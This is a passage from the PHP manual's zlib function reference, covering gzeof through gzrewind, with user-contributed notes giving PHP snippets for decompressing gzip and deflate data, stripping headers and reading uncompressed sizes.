  fwrite($gzf,$gzdatadecode);
  fclose($gzf);

  $gzf = gzopen ($eh, "r");
  $gzdatadecode=gzpassthru($gzf);
  unlink($eh);

  return $gzdatadecode;
  }else{
  return 'File '.$eh.' was not found.';
  }
}
cbrunon at free dot fr 04-Aug-2006 03:52
Correct is:
<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>
tychay at alumni dot caltech dot edu 03-Apr-2002 11:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch 15-Feb-2002 03:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Pl�tz
Gr��e aus Berlin
mm.. oops? - amendum (yes, tested hehe.) 09-Sep-2001 09:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
    $s=gzread($fd,10240);
    if ("$s" == "") {
      break;
    }
    $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m > 09-Sep-2001 08:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!


Test for EOF on a gz-file pointer

  • « gzencode
  • gzfile »
  • PHP Manual
  • Zlib Functions
  • Test for EOF on a gz-file pointer

gzeof

(PHP 4, PHP 5)

gzeof — Test for EOF on a gz-file pointer

Description

int gzeof ( resource $zp )

Tests the given GZ file pointer for EOF.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

Returns TRUE if the gz-file pointer is at EOF or an error occurs; otherwise returns FALSE.

Examples

Example #1 gzeof() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

User Contributed Notes

Anonymous 11-Nov-2013 08:37
<?php
#fixed example
$gz = gzopen('somefile.gz', 'r');
while ($gz && !gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>
thomas at poindessous dot com 21-Jun-2007 10:44
Be careful with this example. if gzopen doesn't return a valid handler, gzeof will do a nice loop.


Read entire gz-file into an array

  • « gzeof
  • gzgetc »
  • PHP Manual
  • Zlib Functions
  • Read entire gz-file into an array

gzfile

(PHP 4, PHP 5)

gzfile — Read entire gz-file into an array

Description

array gzfile ( string $filename [, int $use_include_path = 0 ] )

This function is identical to readgzfile(), except that it returns the file in an array.

Parameters

filename

The file name.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

An array containing the file, one line per cell.

Examples

Example #1 gzfile() example

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
    echo $line;
}
?>

See Also

  • readgzfile() - Output a gz-file
  • gzopen() - Open gz-file

User Contributed Notes

jani at php dot net 21-Nov-2008 07:11
This function is not binary safe. (intentionally, or not, that's the question :)
nb_nonospamm_ at wtal dot de 27-Nov-2005 01:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi 28-Jun-2005 03:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
    //File does not exist
    if( !@file_exists($filename) )
    {    return false;    }

    //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de 13-Jan-2004 08:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
    $file = @gzopen($filename, 'rb', $use_include_path);
    if ($file) {
        $data = '';
        while (!gzeof($file)) {
            $data .= gzread($file, 1024);
        }
        gzclose($file);
    }
    return $data;
}
?>


Get character from gz-file pointer

  • « gzfile
  • gzgets »
  • PHP Manual
  • Zlib Functions
  • Get character from gz-file pointer

gzgetc

(PHP 4, PHP 5)

gzgetc — Get character from gz-file pointer

Description

string gzgetc ( resource $zp )

Returns a string containing a single (uncompressed) character read from the given gz-file pointer.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The uncompressed character or FALSE on EOF (unlike gzeof()).

Examples

Example #1 gzgetc() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

See Also

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer

User Contributed Notes

There are no user contributed notes for this page.


Get line from file pointer

  • « gzgetc
  • gzgetss »
  • PHP Manual
  • Zlib Functions
  • Get line from file pointer

gzgets

(PHP 4, PHP 5)

gzgets — Get line from file pointer

Description

string gzgets ( resource $zp [, int $length ] )

Gets a (uncompressed) string of up to length - 1 bytes read from the given file pointer. Reading ends when length - 1 bytes have been read, on a newline, or on EOF (whichever comes first).

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

Return Values

The uncompressed string, or FALSE on error.

Examples

Example #1 gzgets() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgets($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

See Also

  • gzopen() - Open gz-file
  • gzgetc() - Get character from gz-file pointer
  • gzwrite() - Binary-safe gz-file write

User Contributed Notes

04-Aug-2005 08:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com 10-Aug-2002 02:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
    $buff1 = gzgets ($zp, 4096) ;
    fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>


Get line from gz-file pointer and strip HTML tags

  • « gzgets
  • gzinflate »
  • PHP Manual
  • Zlib Functions
  • Get line from gz-file pointer and strip HTML tags

gzgetss

(PHP 4, PHP 5)

gzgetss — Get line from gz-file pointer and strip HTML tags

Description

string gzgetss ( resource $zp , int $length [, string $allowable_tags ] )

Identical to gzgets(), except that gzgetss() attempts to strip any HTML and PHP tags from the text it reads.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

allowable_tags

You can use this optional parameter to specify tags which should not be stripped.

Return Values

The uncompressed and stripped string, or FALSE on error.

Examples

Example #1 gzgetss() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgetss($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

See Also

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • strip_tags() - Strip HTML and PHP tags from a string

User Contributed Notes

There are no user contributed notes for this page.


Inflate a deflated string

  • « gzgetss
  • gzopen »
  • PHP Manual
  • Zlib Functions
  • Inflate a deflated string

gzinflate

(PHP 4 >= 4.0.4, PHP 5)

gzinflate — Inflate a deflated string

Description

string gzinflate ( string $data [, int $length = 0 ] )

This function inflates a deflated string.

Parameters

data

The data compressed by gzdeflate().

length

The maximum length of data to decode.

Return Values

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

Examples

Example #1 gzinflate() example

<?php
$compressed   = gzdeflate('Compress me', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

See Also

  • gzdeflate() - Deflate a string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 08:34
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
felix dot klee at inka dot de 28-Feb-2013 07:38
The code below illustrates usage of the second parameter, in particular to protect against fatal out-of-memory errors. It outputs:

1000000
1000000
error

Tested with PHP 5.3 on 32bit Linux.

<?php

function tryToGzinflate($deflatedData, $maxLen = 0) {
  $data = gzinflate($deflatedData, $maxLen);
  if ($data === false)
    echo 'error<br>';
  else
    echo strlen($data).'<br>';
}

// random data:
$data = '';
for ($i = 0; $i < 1000000; $i++)
  $data .= chr(mt_rand(97, 122)); // a-z

$deflatedData = gzdeflate($data);

ini_set('memory_limit', '5M'); // plenty of memory
tryToGzinflate($deflatedData);
tryToGzinflate($deflatedData, strlen($data));

ini_set('memory_limit', '100'); // little memory
tryToGzinflate($deflatedData, 100);
tryToGzinflate($deflatedData); // causes fatal out-of-memory error
?>
akniep at rayo dot info 12-Dec-2012 12:11
Take care when using the optional second parameter $length!
In our tests -at least in certain situations- we were unable to determine the actual use of this parameter, plus, it lead to the script either being unable to inflate compressed data or crash due to memory-problems.

Example:
When trying to inflate the compressed data from a website, we were literally unable to find a value (other than 0) for $length in order to make gzinflate work... while without the second parameter (or setting it to 0) gzinflate worked like a charm:

<?php
// -----------------------------------------------------------------------
// Test 1 works without problems. Memory peak usage: Before inflating: 24.787 kB; after: 24.844 kB.
gzinflate( substr($deflated_body, 10) );

// -----------------------------------------------------------------------
// ALL three of the following tests failed with a warning. Memory peak usage: Before inflating: 24.787 kB; after: 298.262 kB.
gzinflate( substr($deflated_body, 10),       200 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     32768 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     11000 );
gzinflate( substr($deflated_body, 10), 280000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Warning:  gzinflate() [function.gzinflate]: insufficient memory in [...]

// -----------------------------------------------------------------------
// The last test failed with a fatal error. Memory peak usage: Before inflating: 24.787 kB; after: ? (> 300M).
gzinflate( substr($deflated_body, 10), 300000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Fatal error:  Allowed memory size of 314572800 bytes exhausted (tried to allocate 300000000 bytes) in
?>

In short: We were unable to determine the actual use of the second parameter in certain situations.
Be careful with using the second parameter $length!
niblett at gmail dot com 07-Jun-2012 11:08
alternative, with detection for optional filename header
<?php
function gzdecode($data) {

        // check if filename field is set in FLG, is 4th byte
        $hex = bin2hex($data);

        $flg = (int)hexdec(substr($hex, 6, 2));

        // remove headers
        $hex = substr($hex, 20);

        $ret = '';
        if (  ($flg & 0x8) == 8 ){
                print "ello";
                for ( $i = 0; $i < strlen($hex); $i += 2 ){
                        $value = substr($hex, $i, 2);
                        if ( $value == '00' ){
                                $ret = substr($hex, ($i+2));
                                break;
                        }
                }
        }
        return gzinflate(pack('H*', $ret));
}
?>
Steven Lustig 05-Nov-2010 06:44
You can use this to uncompress a string from Linux command line gzip by stripping the first 10 bytes:

<?php
$inflatedOutput = gzinflate(substr($output, 10, -8));
?>
vitall at ua dot fm 10-Sep-2009 02:10
The correct function for gzip and chunked data particularly when you get "Content-Encoding: gzip" and "Transfer-Encoding: chunked" headers:

<?php
function decode_gzip($h,$d,$rn="\r\n"){
if (isset($h['Transfer-Encoding'])){
 $lrn = strlen($rn);
 $str = '';
 $ofs=0;
 do{
    $p = strpos($d,$rn,$ofs);
    $len = hexdec(substr($d,$ofs,$p-$ofs));
    $str .= substr($d,$p+$lrn,$len);
     $ofs = $p+$lrn*2+$len;
 }while ($d[$ofs]!=='0');
 $d=$str;
}
if (isset($h['Content-Encoding'])) $d = gzinflate(substr($d,10));
return $d;
}
?>

Enjoy!
John 13-Jun-2008 07:22
And when retrieving mod_deflate gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 11 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,11)); ?>
patatraboum at free dot fr 24-Aug-2007 07:57
Some gz string strip header and return inflated
It actualy processes some first member of the gz
See rfc1952 at http://www.faqs.org/rfcs/rfc1952.html for more details and improvment as gzdecode

<?php
function gzBody($gzData){
    if(substr($gzData,0,3)=="\x1f\x8b\x08"){
        $i=10;
        $flg=ord(substr($gzData,3,1));
        if($flg>0){
            if($flg&4){
                list($xlen)=unpack('v',substr($gzData,$i,2));
                $i=$i+2+$xlen;
            }
            if($flg&8) $i=strpos($gzData,"\0",$i)+1;
            if($flg&16) $i=strpos($gzData,"\0",$i)+1;
            if($flg&2) $i=$i+2;
        }
        return gzinflate(substr($gzData,$i,-8));
    }
    else return false;
}
?>
spikeles_ at hotmail dot com 02-Nov-2006 05:12
This can be used to inflate streams compressed by the Java class java.util.zip.Deflater but you must strip the first 2 bytes off it. ( much like the above comment )

<?php $result = gzinflate(substr($compressedData, 2)); ?>
boris at gamate dot com 08-Jul-2003 02:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,10)); ?>


Open gz-file

  • « gzinflate
  • gzpassthru »
  • PHP Manual
  • Zlib Functions
  • Open gz-file

gzopen

(PHP 4, PHP 5)

gzopen — Open gz-file

Description

resource gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] )

Opens a gzip (.gz) file for reading or writing.

gzopen() can be used to read a file which is not in gzip format; in this case gzread() will directly read from the file without decompression.

Parameters

filename

The file name.

mode

As in fopen() (rb or wb) but can also include a compression level (wb9) or a strategy: f for filtered data as in wb6f, h for Huffman only compression as in wb1h. (See the description of deflateInit2 in zlib.h for more information about the strategy parameter.)

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

Returns a file pointer to the file opened, after that, everything you read from this file descriptor will be transparently decompressed and what you write gets compressed.

If the open fails, the function returns FALSE.

Examples

Example #1 gzopen() Example

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

See Also

  • gzclose() - Close an open gz-file pointer

User Contributed Notes

David Gero dave at havidave dot com 06-Sep-2011 11:02
gzopen("php://output","wb") doesn't work on a web server, nor does fopen("compress.zlib://php://output","wb").

Here is a snippet to gzip a file and output it on the fly, without using a temporary file, without reading the file into memory, and without reading the file more than once:

<?php
$fin = fopen($file, "rb");
if ($fin !== FALSE) {
    $fout = fopen("php://output", "wb");
    if ($fout !== FALSE) {
    // write gzip header
    fwrite($fout, "\x1F\x8B\x08\x08".pack("V", filemtime($file))."\0\xFF", 10);
    // write the original file name
    $oname = str_replace("\0", "", basename($file));
    fwrite($fout, $oname."\0", 1+strlen($oname));
    // add the deflate filter using default compression level
    $fltr = stream_filter_append($fout, "zlib.deflate", STREAM_FILTER_WRITE, -1);
    // set up the CRC32 hashing context
    $hctx = hash_init("crc32b");
    // turn off the time limit
    if (!ini_get("safe_mode")) set_time_limit(0);
    $con = TRUE;
    $fsize = 0;
    while (($con !== FALSE) && !feof($fin)) {
        // deflate works best with buffers >32K
        $con = fread($fin, 64 * 1024);
        if ($con !== FALSE) {
        hash_update($hctx, $con);
        $clen = strlen($con);
        $fsize += $clen;
        fwrite($fout, $con, $clen);
        }
    }
    // remove the deflate filter
    stream_filter_remove($fltr);
    // write the CRC32 value
    // hash_final is a string, not an integer
    $crc = hash_final($hctx, TRUE);
    // need to reverse the hash_final string so it's little endian
    fwrite($fout, $crc[3].$crc[2].$crc[1].$crc[0], 4);
    // write the original uncompressed file size
    fwrite($fout, pack("V", $fsize), 4);
    fclose($fout);
    }
    fclose($fin);
}
?>
plasma 06-Sep-2008 05:06
This worked unstable for me under high load (50+ files per second):

<?php
    $gz = gzopen ( $file, 'w9' );
    gzwrite ( $gz, $content );
    gzclose ( $gz );
?>

The following works fine:

<?php
    $f = fopen ( $file, 'w' );
    fwrite ( $f, gzcompress ( $content, 9 ) );
    fclose ( $f );
?>
katzlbtjunk at hotmail dot com 23-Apr-2008 09:15
WARNING gzopen and gzread have a major disadvantage. They makes NO checksum and NO length verification of the gzipped data and discard this valuable information. This should be documented here.
rob at digital-crocus dot com 01-Jun-2005 02:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu 29-Jan-2005 07:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com 21-Oct-2004 09:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net 03-Jan-2002 04:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...


Output all remaining data on a gz-file pointer

  • « gzopen
  • gzputs »
  • PHP Manual
  • Zlib Functions
  • Output all remaining data on a gz-file pointer

gzpassthru

(PHP 4, PHP 5)

gzpassthru — Output all remaining data on a gz-file pointer

Description

int gzpassthru ( resource $zp )

Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.

Note:

You may need to call gzrewind() to reset the file pointer to the beginning of the file if you have already written data to it.

Tip

If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readgzfile() function, which saves you the gzopen() call.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The number of uncompressed characters read from gz and passed through to the input, or FALSE on error.

Examples

Example #1 gzpassthru() example

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


Alias of gzwrite

  • « gzpassthru
  • gzread »
  • PHP Manual
  • Zlib Functions
  • Alias of gzwrite

gzputs

(PHP 4, PHP 5)

gzputs — Alias of gzwrite()

Description

This function is an alias of: gzwrite().

User Contributed Notes

There are no user contributed notes for this page.


Binary-safe gz-file read

  • « gzputs
  • gzrewind »
  • PHP Manual
  • Zlib Functions
  • Binary-safe gz-file read

gzread

(PHP 4, PHP 5)

gzread — Binary-safe gz-file read

Description

string gzread ( resource $zp , int $length )

gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The number of bytes to read.

Return Values

The data that have been read.

Examples

Example #1 gzread() example

<?php
// get contents of a gz-file into a string
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

See Also

  • gzwrite() - Binary-safe gz-file write
  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • gzgetss() - Get line from gz-file pointer and strip HTML tags
  • gzfile() - Read entire gz-file into an array
  • gzpassthru() - Output all remaining data on a gz-file pointer

User Contributed Notes

Nitrogen 17-Sep-2012 12:02
Here is a function for returning the uncompressed filesize of a gzip file. The filesize is stored as a 32-bit integer in the end of the compressed file, that's how this function works. Additionally, this function checks to see if it's a real gzip compressed file before doing the work; if it isn't, then just like other gz- functions, it'll treat it just like a regular file and perform a normal filesize operation. Enjoy!

<?php

function gzfilesize($filename) {
  $gzfs = FALSE;
  if(($zp = fopen($filename, 'r'))!==FALSE) {
    if(@fread($zp, 2) == "\x1F\x8B") { // this is a gzip'd file
      fseek($zp, -4, SEEK_END);
      if(strlen($datum = @fread($zp, 4))==4)
        extract(unpack('Vgzfs', $datum));
    }
    else // not a gzip'd file, revert to regular filesize function
      $gzfs = filesize($filename);
    fclose($zp);
  }
  return($gzfs);
}

?>
calin_ip at yahoo dot com 10-Nov-2010 12:55
Regarding finding out the lenght of the gz file.
For some reason the seek() function didn't worked, so, I've tried finding out the last 4 bytes using string functions.
That worked pretty well. Here is the code.
<?php
$stringu='my_beautiful_file.txt.gz';
$gzip=file_get_contents($stringu);
$rest = substr($gzip, -4);
$GZFileSize = end(unpack("V", $rest));

$FileRead = $stringu;
$HandleRead = gzopen($FileRead, "rb");
$ContentRead = gzread($HandleRead, $GZFileSize);
gzclose($HandleRead);
?>
denis at bitrix dot ru 16-Jul-2010 06:00
Note that this functions' behavior differs from fread in case of EOF.

When you read the last chunk (mean the last bytes from file), it is EOF just after gzread, but in case of fread you need to read once more to get EOF.

Hope, I am clear :)
robinv12001 at yahoo dot co dot in 11-Jun-2009 06:21
<?php
//Extracting the content of a gzip file in php and creating a new csv file using the content
//Create a folder uploads inside current folder
$local_file    =    'test.gz';

//To Get the size of the uncompressed file
$FileRead = $local_file;
$FileOpen = fopen($FileRead, "rb");
fseek($FileOpen, -4, SEEK_END);
$buf = fread($FileOpen, 4);
$GZFileSize = end(unpack("V", $buf));
fclose($FileOpen);
//To Get the size of the zip file

$fzip_size    =    $GZFileSize;

$filename    =    $local_file;
$ext        =    pathinfo($filename,PATHINFO_EXTENSION);
$file_name    =    pathinfo($filename,PATHINFO_FILENAME);
$file_name    =    $file_name.".csv";

$zd         =     gzopen($filename, "rb");
$contents     =     gzread($zd, $fzip_size);
gzclose($zd);
$file_name    =    "uploads/".$file_name;
$fp    =    fopen($file_name, "wb");
fwrite($fp, $contents); //write contents of feed to cache file
fclose($fp);
if(file_exists($file_name))
{
    chmod($file_name,0755);
    unlink($local_file);
}
?>
robinv12001 at yahoo dot co dot in 09-Jun-2009 11:18
<?php
//Using FTP Download a gzip file on current date from a remote server
//The gzip files are extracted
function parse_rawlist( $array )
{
    $i=0;
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']      =     $current[0];
        $struc['number']     =     $current[1];
        $struc['owner']     =     $current[2];
        $struc['group']      =     $current[3];
        $struc['size']         =     $current[4];
        $struc['month']      =     $current[5];
        $struc['day']        =     $current[6];
        $struc['time']      =     $current[7];
        $struc['zfile_name']      =     $current[8];
     $structure[$i]      =     $struc;
    $i++;
    }
   return $structure;

}
ini_set('memory_limit', '100M');

//Give FTP Information Here
//------------------------------------------------------------
$ftp_server     =     "example.com";
$ftp_user_name    =    "example";
$ftp_user_pass    =    "test";
//------------------------------------------------------------
//------------------------------------------------------------
$local_path     =    '/opt/lampp/htdocs/sample/test.gz';//Local Path
$server_path     =     'outgoing/folder/';//Remote Sever Path
//------------------------------------------------------------

$conn_id = ftp_connect($ftp_server,21);
if($conn_id)
{
    echo "Successfully connected";
}

$login_result     =     ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_chdir($conn_id, $server_path);//Change Current Working Directory
$file_list     =    ftp_rawlist($conn_id,".");
$zip_details    =    parse_rawlist($file_list);
set_time_limit(1000);
$curr_date    =    strtotime(date("F d Y"));
for($i=0;$i<count($zip_details);$i++)
{
    $fname        =    $zip_details[$i]['zfile_name'];
    $mod_date1    =    $zip_details[$i]['month']." ".$zip_details[$i]['day']." ".date("Y");
    $mod_date    =    strtotime($mod_date1);//File Modified Date
    if($mod_date == $curr_date)//If modified date equals current date
    {
        $local_file    =    $fname;
        $server_file    =    $fname;
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY))
        {

            echo "<br/>Successfully written to $local_file\n";
        }
        else
        {
            echo "<br/>There was a problem\n";
        }
        if(file_exists($local_file))
        {
            $fzip_size    =    $zip_details[$i]['size'];
            $filename    =    $local_file;
            $ext        =    pathinfo($filename,PATHINFO_EXTENSION);
            $file_name    =    pathinfo($filename,PATHINFO_FILENAME);
            $file_name    =    $file_name.".csv";
            $zd         =     gzopen($filename, "r");
            $contents     =     gzread($zd, $fzip_size);
            $file_name    =    "uploads/".$file_name;
            file_put_contents($file_name,addslashes($contents));
            if(file_exists($file_name))
            {
                chmod($file_name,0755);
                unlink($local_file);
            }
            gzclose($zd);
        }
    }
}
ftp_close($conn_id);
?>
utku 08-Feb-2008 10:31
I don't think it would be wise to open a whole gzip file (it _is_ compressed for a reason, and likely to be a very big file) into a single string. You would most likely hit the php memory limits. Instead, if you need to process the file, put your gzread calls in a loop, and read incrementally by a setting $length to a constant value.
zaotong at yahoo dot com 08-Mar-2007 12:06
As was shown to me in another forum there is a way to get the uncompressed size of the gz file by viewing the last 4 bytes of the gz file.

Here is a piece of code that will do this
<?php
$FileRead = 'SomeText.txt';
$FileOpen = fopen($FileRead, "rb");
        fseek($FileOpen, -4, SEEK_END);
        $buf = fread($FileOpen, 4);
        $GZFileSize = end(unpack("V", $buf));
        fclose($FileOpen);
        $HandleRead = gzopen($FileRead, "rb");
        $ContentRead = gzread($HandleRead, $GZFileSize);
?>

This will read the last 4 bytes of the gz file and use it as the file int for the gzread.

Thanks to stereofrog for helping me with this code.


Rewind the position of a gz-file pointer

  • « gzread
  • gzseek »
  • PHP Manual
  • Zlib Functions
  • Rewind the position of a gz-file pointer

gzrewind

(PHP 4, PHP 5)

gzrewind — Rewind the position of a gz-file pointer

Description

bool gzrewind ( resource $zp )

Sets the file position indicator of the given gz-file pointer to the beginning of the file stream.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().
